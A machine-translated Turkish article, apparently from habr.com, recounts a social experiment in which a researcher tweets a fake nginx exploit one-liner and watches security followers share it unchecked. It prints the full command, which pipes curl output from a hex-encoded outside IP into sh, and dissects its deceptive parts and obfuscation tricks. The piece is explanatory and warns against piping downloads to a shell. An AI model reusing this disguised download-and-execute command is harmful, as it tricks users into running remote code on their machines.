Sahte bir nginx istismarıyla yapılan sosyal deneyin başarısı

Not. tercüme: yazar 1 Haziran'da yayınlanan orijinal notta bilgi güvenliğiyle ilgilenenler arasında bir deney yapılmasına karar verildi. Bunu yapmak için web sunucusunda açıklanmayan bir güvenlik açığına yönelik sahte bir istismar hazırladı ve bunu Twitter hesabında yayınladı. Koddaki bariz aldatmacayı görecek uzmanlar tarafından anında ifşa edilecek olan varsayımları gerçekleşmemekle kalmadı... Tüm beklentileri aştılar ve tam tersi yönde oldu: Tweet, bunu kabul etmeyen çok sayıda kişiden büyük destek aldı. içeriğini kontrol edin.

Sahte bir nginx istismarıyla yapılan sosyal deneyin başarısı

TL;DR: Hiçbir koşulda sh veya bash'ta dosya ardışık düzenini kullanmayın. Bu, bilgisayarınızın kontrolünü kaybetmenin harika bir yoludur.

31 Mayıs'ta yaratılan komik bir PoC istismarına ilişkin kısa bir hikayeyi sizinle paylaşmak istiyorum. Gelen haberlere anında yanıt verdi Alisa Esage Şevçenko, üye Sıfır Gün Girişimi (ZDI), NGINX'te RCE'ye (uzaktan kod yürütme) yol açan bir güvenlik açığı hakkındaki bilginin yakında açıklanacağını bildirdi. NGINX birçok web sitesine güç sağladığına göre haber bomba etkisi yaratmış olmalı. Ancak "sorumlu açıklama" sürecindeki gecikmeler nedeniyle yaşananların ayrıntıları bilinmiyordu; bu, standart ZDI prosedürüdür.

Sahte bir nginx istismarıyla yapılan sosyal deneyin başarısı
Cıvıldamak NGINX'teki güvenlik açığının açıklanması hakkında

Curl'de yeni bir gizleme tekniği üzerinde çalışmayı bitirdikten sonra, orijinal tweet'ten alıntı yaptım ve keşfedilen güvenlik açığından yararlandığı iddia edilen tek bir kod satırından oluşan "çalışan bir PoC'yi sızdırdım". Elbette bu tamamen saçmalıktı. Hemen açığa çıkacağımı ve en iyi ihtimalle birkaç retweet alacağımı varsaydım (peki).

Sahte bir nginx istismarıyla yapılan sosyal deneyin başarısı
Cıvıldamak sahte istismarla

Ancak bundan sonra ne olacağını hayal edemiyordum. Tweetimin popülaritesi hızla arttı. Şaşırtıcı bir şekilde, şu anda (15 Haziran Moskova saati ile 00:1) çok az kişi bunun sahte olduğunu fark etti. Pek çok kişi onu hiç kontrol etmeden retweetliyor (çıkışladığı harika ASCII grafiklerine hayran olmak şöyle dursun).

Sahte bir nginx istismarıyla yapılan sosyal deneyin başarısı
Sadece ne kadar güzel olduğuna bakın!

Tüm bu döngüler ve renkler harika olsa da, insanların bunları görebilmek için makinelerinde kod çalıştırması gerektiği açıktır. Şans eseri, tarayıcılar da aynı şekilde çalışıyor ve gerçekten yasal sorunla karşılaşmak istemediğim gerçeğiyle birleştiğinde, sitemde gömülü olan kod, herhangi bir ek kod yüklemeye veya yürütmeye çalışmadan yalnızca yankı çağrıları yapıyordu.

Küçük bir basım: net ürkütücü, DNZ, ben ve takımdaki diğer arkadaşlar Eşkıya kalabalığı Bir süredir curl komutlarını gizlemek için farklı yöntemlerle oynuyoruz çünkü bu harika... ve biz de meraklıyız. netspooky ve dnz bana son derece umut verici görünen birkaç yeni yöntem keşfetti. Ben de eğlenceye katıldım ve püf noktalarına IP ondalık dönüşümlerini eklemeyi denedim. IP'nin onaltılık formata da dönüştürülebileceği ortaya çıktı. Dahası, curl ve diğer NIX araçlarının çoğu onaltılık IP'leri memnuniyetle yer! Yani mesele sadece ikna edici ve güvenli görünen bir komut satırı oluşturmaktı. En sonunda şuna karar verdim:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Sosyo-elektronik mühendisliği (SEE) - kimlik avından daha fazlası

Güvenlik ve aşinalık bu deneyin önemli bir parçasıydı. Başarısını sağlayan şeyin onlar olduğunu düşünüyorum. Komut satırı "127.0.0.1"e (tanınmış localhost) atıfta bulunarak güvenliği açıkça ima ediyordu. Localhost güvenli kabul edilir ve içindeki veriler bilgisayarınızdan asla ayrılmaz.

Aşinalık, deneyin ikinci önemli SEE bileşeniydi. Hedef kitle öncelikle bilgisayar güvenliğinin temellerine aşina kişilerden oluştuğu için, kodun bazı kısımlarının tanıdık ve tanıdık (ve dolayısıyla güvenli) görünmesini sağlayacak şekilde kod oluşturmak önemliydi. Eski istismar konseptlerinin unsurlarını ödünç almanın ve bunları alışılmadık bir şekilde birleştirmenin çok başarılı olduğu kanıtlandı.

Aşağıda tek astarın ayrıntılı bir analizi bulunmaktadır. Bu listedeki her şey giyiyor kozmetik doğave fiili çalışması için neredeyse hiçbir şeye gerek yoktur.

Hangi bileşenler gerçekten gerekli? Bu -gsS, -O 0x0238f06a, |sh ve web sunucusunun kendisi. Web sunucusu herhangi bir kötü amaçlı talimat içermiyordu, yalnızca komutları kullanarak ASCII grafikleri sunuyordu echo içerdiği komut dosyasında index.html. Kullanıcı bir satıra girdiğinde |sh ortada, index.html yüklendi ve yürütüldü. Neyse ki web sunucusunun koruyucularının kötü bir niyeti yoktu.

  • ../../../%00 — dizinin ötesine geçmeyi temsil eder;
  • ngx_stream_module.so — rastgele bir NGINX modülüne giden yol;
  • /bin/sh%00<'protocol:TCP' - sözde fırlatıyoruz /bin/sh hedef makinede çıktıyı TCP kanalına yönlendirin;
  • -O 0x0238f06a#PLToffset - gizli içerik, takviye edilmiş #PLToffset, bir şekilde PLT'de bulunan bir bellek ofseti gibi görünmek için;
  • |sh; - başka bir önemli parça. Saldıran web sunucusundan gelen kodu yürütmek için çıktıyı sh/bash'a yönlendirmemiz gerekiyordu. 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - netcat'in ifade ettiği bir kukla /dev/tcp/localhostböylece her şey yeniden güvenli görünür. Aslında hiçbir işe yaramıyor ve güzellik sıralamasında yer alıyor.

Bu, tek satırlık komut dosyasının kodunun çözülmesini ve "sosyo-elektronik mühendisliğinin" (karmaşık kimlik avı) yönlerinin tartışılmasını tamamlıyor.

Web Sunucusu Yapılandırması ve Karşı Önlemler

Abonelerimin büyük çoğunluğu bilgi güvenliği/hacker olduğundan, web sunucusunu onların "ilgi" ifadelerine karşı biraz daha dayanıklı hale getirmeye karar verdim, böylece erkeklerin yapacak bir şeyleri olsun (ve eğlenceli olurdu) kurmak). Deney hala devam ettiği için tüm tuzakları burada listelemeyeceğim, ancak burada sunucunun yaptığı birkaç şey var:

  • Belirli sosyal ağlardaki dağıtım girişimlerini aktif olarak izler ve kullanıcıyı bağlantıya tıklamaya teşvik etmek için çeşitli önizleme küçük resimlerini değiştirir.
  • Kabuk komut dosyasını göstermek yerine Chrome/Mozilla/Safari/etc'yi Thugcrowd tanıtım videosuna yönlendirir.
  • İzinsiz giriş/bariz bilgisayar korsanlığının KESİNLİKLE işaretlerini izler ve ardından istekleri NSA sunucularına yönlendirmeye başlar (ha!).
  • Kullanıcıları ana bilgisayarı normal bir tarayıcıdan ziyaret eden tüm bilgisayarlara bir Trojan ve bir BIOS rootkit yükler (şaka yapıyorum!).

Sahte bir nginx istismarıyla yapılan sosyal deneyin başarısı
Antimerlerin küçük bir kısmı

Bu durumda tek amacım Apache'nin bazı özelliklerine, özellikle de istekleri yeniden yönlendirmeye ilişkin harika kurallara hakim olmaktı ve şunu düşündüm: neden olmasın?

NGINX İstismarı (Gerçek!)

abone olmak @alisaesage Twitter'da ve ZDI'nin NGINX'teki son derece gerçek güvenlik açıklarını ele alma ve fırsatlardan yararlanma konusundaki harika çalışmasını takip edin. Çalışmaları beni her zaman büyülemiştir ve aptal tweetimin neden olduğu tüm söz ve bildirimlere gösterdiği sabır için Alice'e minnettarım. Neyse ki bazı yararları da oldu: NGINX'teki güvenlik açıklarının yanı sıra curl'un kötüye kullanılmasından kaynaklanan sorunlara ilişkin farkındalığın artmasına yardımcı oldu.

Kaynak: habr.com

Yorum ekle